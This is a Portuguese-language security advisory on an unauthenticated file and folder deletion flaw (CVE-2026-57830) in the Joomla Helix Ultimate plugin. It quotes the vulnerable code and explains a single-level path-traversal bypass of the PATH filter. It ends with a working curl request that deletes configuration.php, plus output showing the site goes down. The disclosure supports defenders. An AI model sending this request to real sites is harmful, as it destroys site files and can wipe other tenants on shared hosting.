
# Exclusão Arbitrária de Arquivos/Pastas sem Autenticação no Joomla Helix Ultimate (JoomShaper) <= 2.2.6 — CVE-2026-57830
Esta é uma vulnerabilidade confirmada de DoS + acesso ao sistema de arquivos entre inquilinos, NÃO RCE. Uma teoria de escalada RCE (excluir configuration.php para reexpor o instalador do Joomla) foi testada ao vivo e refutada — veja "Escalada RCE — testada e refutada" abaixo. Não represente isto como RCE em nenhum relatório sem primeiro derivar uma cadeia real.
Atualização de gravidade (06/07/2026, segunda passagem): o parâmetro path NÃO está contido de forma segura na raiz web do Joomla como avaliado inicialmente — o filtro de entrada PATH do Joomla não bloqueia um único componente de travessia /../, então este bug alcança (leitura: listagem completa de diretórios; escrita: excluir arquivo ou apagar recursivamente o conteúdo da pasta) qualquer coisa no sistema de arquivos que o usuário do servidor web possa acessar, não apenas arquivos dentro da instalação do Joomla. Em qualquer layout de hospedagem compartilhada onde vários sites/inquilinos existam como diretórios irmãos sob o mesmo usuário do SO (extremamente comum: "addon domains" do cPanel, assinaturas Plesk compartilhando um usuário do sistema, hospedagem econômica), um único site baseado em Helix-Ultimate permite que um visitante anônimo destrua todos os outros sites na mesma conta. Veja "Path traversal escapa do JPATH_ROOT completamente" abaixo para a prova ao vivo.
Componente: JoomShaper Helix Ultimate Framework (plg_system_helixultimate), empacotado com praticamente todos os templates Joomla da JoomShaper (baseados em Helix Ultimate).
Versão testada: 2.2.6 (GitHub JoomShaper/helix-ultimate, HEAD em 06/07/2026, último push 30/06/2026)
Autor: Amin İsayev / Proxima Cyber Security
plugins/system/helixultimate/src/Platform/Media.php expõe deleteMedia(), getFolders() e createFolder() através do hook de dispatch com_ajax do Joomla em helixultimate.php::onAfterRoute(). Esses três métodos apenas chamam Session::checkToken() (uma verificação CSRF simples, satisfeita pelo próprio token de sessão de qualquer visitante anônimo — obtido a partir do HTML da página inicial do site) — nenhuma verificação authorise() / login. Isso é inconsistente com o método irmão uploadMedia() na mesma classe, que corretamente requer core.edit em com_templates.
Por ser um plugin de sistema, onAfterRoute() é disparado em toda requisição independentemente de qual template está ativo — o caminho de código vulnerável é acessível enquanto o plugin estiver instalado e habilitado (o que acontece por padrão em qualquer site que use um template baseado em Helix-Ultimate da JoomShaper).
plugins/system/helixultimate/helixultimate.php (linhas ~464-489):
if ($this->app->isClient('site'))
{
$option = $this->app->input->get('option', '', 'STRING');
$helix = $this->app->input->get('helix', '', 'STRING');
$request = $this->app->input->get('request', '', 'STRING');
$action = $this->app->input->get('action', '', 'STRING');
if ($option === 'com_ajax' && $helix === 'ultimate' && $request === 'task' && $action !== '')
{
switch ($action)
{
case 'upload-blog-image': Blog::upload_image(); break; // tem verificação core.create/com_media
case 'remove-blog-image': Blog::remove_image(); break; // tem verificação core.delete/com_media
case 'view-media': Media::getFolders(); break; // SEM verificação authorise()
case 'delete-media': Media::deleteMedia(); break; // SEM verificação authorise()
case 'upload-media': Media::uploadMedia(); break; // tem verificação core.edit/com_templates
}
}
}
plugins/system/helixultimate/src/Platform/Media.php:
public static function deleteMedia()
{
$output['message'] = Text::_('JINVALID_TOKEN');
Session::checkToken() or die(json_encode($output)); // ← apenas CSRF, sem authorise()
$path = $input->post->get('path', '/images', 'PATH');
$type = $input->post->get('type', 'file', 'STRING');
if ($type === 'file') { File::delete(JPATH_ROOT . '/' . $path); }
else { Folder::delete(JPATH_ROOT . '/' . $path); } // recursivo
}
$path passa pelo filtro de entrada PATH do Joomla (InputFilter::cleanPath()). Duas coisas independentes tornam isso perigoso:
path é resolvido diretamente sob JPATH_ROOT, portanto qualquer caminho absoluto a partir da raiz (/configuration.php, /administrator/..., /media/...) já está acessível.cleanPath() (^[A-Za-z0-9_\/-]+[A-Za-z0-9_\.-]*([\\\\\/]+[A-Za-z0-9_-]+[A-Za-z0-9_\.-]*)*$) permite exatamente uma execução de caracteres ponto/hífen/alnum posicionada logo após o bloco inicial [A-Za-z0-9_/-]+ — e uma barra / inicial sozinha satisfaz esse bloco inicial, então uma string como /../sibling_dir corresponde limpa: / (bloco 1), .. (a execução de pontos permitida), /sibling_dir (um segmento final normal). O filtro foi escrito para rejeitar um segmento que inicie um novo componente /… com um ponto, mas nunca previu um único .. sentado diretamente após o primeiro caractere da string. Encadear ../../.. NÃO sobrevive (cada segmento /… subsequente após a primeira execução de pontos deve começar com um caractere não-ponto) — então a fuga é limitada exatamente a um nível de diretório acima de JPATH_ROOT, mas tudo abaixo desse nível (profundidade arbitrária) é então alcançável normalmente, já que os segmentos seguintes são apenas componentes de caminho comuns sem pontos.configuration.php → paralisação instantânea e total do site (erro fatal "Nenhuma configuração"), uma requisição HTTP, autenticação zero.type=folder) → ex.: /administrator, /components, /media → muito mais destrutivo, efetivamente destrói a instalação.view-media (Media::getFolders()): lista todos os arquivos de imagem, todos os nomes de subpastas e caminhos absolutos do servidor sob qualquer caminho relativo à raiz, sem necessidade de autenticação (usado abaixo como sinal de detecção seguro).Testado contra uma instância Docker descartável (Joomla 5.4.6 + plugin Helix Ultimate 2.2.6, instalação nova, sessão de navegador completamente anônima — sem login, sem cookie além do que o Joomla distribui para todos os visitantes):
$ curl -X POST "http://TARGET/index.php?option=com_ajax&helix=ultimate&request=task&action=delete-media" \
--data-urlencode "path=/configuration.php" \
--data-urlencode "type=file" \
--data-urlencode "<csrf-token-from-homepage>=1"
{"status":true, ...}
$ curl http://TARGET/
"No configuration file found and no directory was found for installation."